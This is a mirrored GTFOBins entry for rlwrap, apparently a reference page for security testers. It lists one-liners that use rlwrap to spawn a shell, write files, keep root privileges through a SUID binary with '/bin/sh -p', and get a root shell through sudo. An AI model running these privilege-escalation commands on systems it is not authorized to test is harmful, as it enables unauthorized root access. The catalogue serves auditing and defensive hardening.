1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/rlwrap.md
2018-10-05 18:55:38 +01:00

15 lines
345 B
Markdown

---
functions:
shell:
- code: rlwrap /bin/sh
file-write:
- description: This adds timestamps to the output file. This relies on the external `echo` command.
code: |
LFILE=file_to_write
rlwrap -l "$LFILE" echo DATA
suid:
- code: ./rlwrap -H /dev/null /bin/sh -p
sudo:
- code: sudo rlwrap /bin/sh
---